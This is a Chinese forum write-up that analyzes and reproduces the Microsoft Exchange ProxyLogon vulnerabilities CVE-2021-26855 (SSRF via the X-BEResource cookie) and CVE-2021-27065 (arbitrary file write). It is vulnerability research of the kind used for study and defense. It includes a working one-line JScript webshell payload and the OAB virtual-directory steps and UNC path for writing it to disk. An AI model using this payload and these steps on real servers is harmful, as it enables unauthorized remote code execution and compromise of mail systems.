问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
关于Exchange CVE-2021–26855与CVE-2021–27065漏洞分析及复现
渗透测试
## 前言 微软在上半年三月披露了关于Exchange邮件服务器`CVE-2021–26855`(SSRF)与`CVE-2021–27065`(任意文件写入)的漏洞,这两个漏洞配合可以造成未授权的webshell写入,是非常严重的高危漏洞。...
前言 -- 微软在上半年三月披露了关于Exchange邮件服务器`CVE-2021–26855`(SSRF)与`CVE-2021–27065`(任意文件写入)的漏洞,这两个漏洞配合可以造成未授权的webshell写入,是非常严重的高危漏洞。漏洞刚出来那会儿并未注意,正好前两天4哥在群里发了个关于该漏洞的复现环境,重新想起这个事,正好暑假也没干啥正事,借此机会复现分析一下。 CVE-2021–26855 -------------- `CVE-2021–26855`是⼀个SSRF,只需要能够访问Exchange服务器,攻击者可以不经过任何类型的身份验证来利⽤此漏洞。 相关漏洞在`C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin`目录下的`Microsoft.Exchange.FrontEndHttpProxy.dll` [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-612e6f9986650146e17b960b96e11eb39046f3b7.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-612e6f9986650146e17b960b96e11eb39046f3b7.png) 进入`ProxyModule`类的`OnPostAuthorizeRequest`函数,该函数用于对post请求的安全检查,函数中继续调用了该类的`OnPostAuthorizeInternal`函数。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6025801da143b2e6ffbe34d9b50ab686eb790e37.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6025801da143b2e6ffbe34d9b50ab686eb790e37.png) `OnPostAuthorizeInternal`函数中调用`SelectHandlerForUnauthenticatedRequest`函数,从函数名称上来看该函数作用为:寻找对未验证安全请求的处理方法。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2f5708cceb9bc26dd8a39b29a479c421d4ca976c.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2f5708cceb9bc26dd8a39b29a479c421d4ca976c.png) 跟进`SelectHandlerForUnauthenticatedRequest`函数,发现对不同的`ProtocolType`,生成了不同的 `httpHandler`。而这个`ProtocolType`正是url中的web子目录,比如请求`/ecp/n.png`,`ProtocolType`就是ecp。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ba75693645a5b938d582c4604d84a689ea579615.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ba75693645a5b938d582c4604d84a689ea579615.png) 当`ProtocolType`为ecp时,如果`BEResourceRequestHandler`类的`CanHandle`函数返回值为真,就会使用`BEResourceRequestHandler`作为处理方法。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2035489b159bfa69cee8de00163e8bea4ef65cfc.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2035489b159bfa69cee8de00163e8bea4ef65cfc.png) 跟进`CanHandle`方法。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0842105a3874442b0f7c13d7fdb14a9b86389c43.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0842105a3874442b0f7c13d7fdb14a9b86389c43.png) 可以看到如果要返回真,则需要同时让`GetBEResouceCookie`和`IsResourceRequest`函数同时返回值为真。跟进这两个函数。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0d43178ce7ce2f86a0647f42ef2e850525555c09.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0d43178ce7ce2f86a0647f42ef2e850525555c09.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-9d3b643be8742e63663bebd2148072fd871e259b.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-9d3b643be8742e63663bebd2148072fd871e259b.png) 先看`GetBEResouceCookie`,该函数要请求cookies中一个`BEResource`字段的值,实际上就是`X-BEResource`。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d8e6575dc36b0d92f76fa6d9a1048449d307b4e0.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d8e6575dc36b0d92f76fa6d9a1048449d307b4e0.png) 那么在cookies中设置一个`X-BEResource`字段的值即可。 `IsResourceRequest`则是需要请求路径以`.js`,`.png`等结尾。 这时候回到`OnPostAuthorizeInternal`函数中,由于`BEResourceRequestHandler`是继承于`ProxyRequstHandler`类的,就会执行`((ProxyRequestHandler)httpHandler).Run(context)`,最终在`HttpContext.RemapHandler`中把该httpHandler设置给`this._remapHandler`,即是context.Handler。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1547c0379d86eec0a883be860a2dd0e8235d1ab6.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1547c0379d86eec0a883be860a2dd0e8235d1ab6.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d9dff116f06dbfb1cd1f05983fb1155b5a5fdbdd.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d9dff116f06dbfb1cd1f05983fb1155b5a5fdbdd.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-de21e316a296164f9778d638e70a2ac9fe77ee67.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-de21e316a296164f9778d638e70a2ac9fe77ee67.png) 又调用了`Handler.BeginProcessRequest()`,此时Handler为`BEResourceRequestHandler`,该类没有`BeginProcessRequest`函数,但却继承了`ProxyRequestHandler`。因此实际上调用的是`ProxyRequestHandler.BeginProcessRequest()`函数。 `BeginProcessRequest`函数创建线程调用`ProxyRequestHandler.BeginCalculateTargetBackEnd`函数。该函数作用是根据Cookie中的`X-BEResource`字段来判断与生成指向BackEnd的目标url。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-918285674a3620829da53b4daec86ea94a8e17a2.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-918285674a3620829da53b4daec86ea94a8e17a2.png) 继续跟入,`BeginCalculateTargetBackEnd`调用`ProxyRequestHandler.InternalBeginCalculateTargetBackEnd`方法。 `InternalBeginCalculateTargetBackEnd`调用`BEResourceRequestHandler.ResolveAnchorMailbox`方法。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-08e563836a767087d21288a624515a7de1f674e4.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-08e563836a767087d21288a624515a7de1f674e4.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f0972629e739140960cade1dbe46118dd2b3fdaa.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f0972629e739140960cade1dbe46118dd2b3fdaa.png) `BEResourceRequestHandler.ResolveAnchorMailbox`方法会获取`X-BEResource`字段。 跟入查看`BackEndServer.FromString`函数,会发现它依据`~`符号切割`beresourceCookie`字符串,前半段作为fqdn,后半段作为version。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-7fb75150ea81a4d58155cdfd2290023d8e24ff00.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-7fb75150ea81a4d58155cdfd2290023d8e24ff00.png) fqdn为:全限定域名。在邮件中例如:sd@vip.com 而version指的是BackEndServer Version。 fqdn和verison变量将在`ProxyRequestHandler.BeginProxyRequest`函数中调用的的`GetTargetBackEndServerUrl`函数进行调用。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-babd366b8b972013d9f0dbc8677ae970d0093c09.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-babd366b8b972013d9f0dbc8677ae970d0093c09.png) 由于`BackEndServer.Fqdn`是可控的,`clientUrlForProxy.Host`则是可控的。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-28a74b168e6ed279654b74e31e31cbdf25922fce.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-28a74b168e6ed279654b74e31e31cbdf25922fce.png) 继续看`ProxyRequestHandler.BeginProxyRequest`后面,`ProxyRequestHandler.CreateServerRequest`将吧uri发送给后端服务器。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-65c5edf7d908877731f9b308a931d2bace380cbd.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-65c5edf7d908877731f9b308a931d2bace380cbd.png) 跟踪`ProxyRequestHandler.CreateServerRequest`,函数中`PrepareServerRequest`将进行uri代理请求的身份认证判断。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-8bca9e78821eb5a70fb410dbd380c6a429457218.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-8bca9e78821eb5a70fb410dbd380c6a429457218.png) 通过最后一个else绕过认证,达到一个SSRF漏洞攻击的过程。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-afcf6d281b445754ee3b70de12d7a1668ac82806.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-afcf6d281b445754ee3b70de12d7a1668ac82806.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5f7576ca70d4e464d26e824f9ee565d172730e30.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5f7576ca70d4e464d26e824f9ee565d172730e30.png) CVE-2021–27065 -------------- `CVE-2021–27065`是⼀个任意⽂件写⼊漏洞,它需要登陆的管理员账号权限才能触发。而`CVE-2021–26855`正好可以为我们提供了管理员账号权限。 登录管理员账号后,进入:服务器——>虚拟目录——>OAB [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-480cf29e35b3d63df7c5497f3ca7650b8fa9d0e5.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-480cf29e35b3d63df7c5497f3ca7650b8fa9d0e5.png) 编辑OAB配置,在外部链接中写⼊shell并保存。 ```php http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["SD"],"unsafe");}</script> ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-91d95f531cded28534ea2212bff1360150d6b48d.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-91d95f531cded28534ea2212bff1360150d6b48d.png) 保存后选择重置虚拟目录 写下shell位置为:`\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx` [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-9c22a274a14f8581b8e48c3e90f7ea163c747256.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-9c22a274a14f8581b8e48c3e90f7ea163c747256.png) 查看shell文件,写入了一句话木马。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-cd00f2aa50ad387cd1bfbd0236edf3825ce57326.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-cd00f2aa50ad387cd1bfbd0236edf3825ce57326.png) 参考 -- <https://www.praetorian.com/blog/reproducing-proxylogon-exploit/> <https://jishuin.proginn.com/p/763bfbd5ac72> <https://zhuanlan.zhihu.com/p/357183471>
发表于 2021-08-31 15:53:00
阅读 ( 4993 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
ccYo1
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!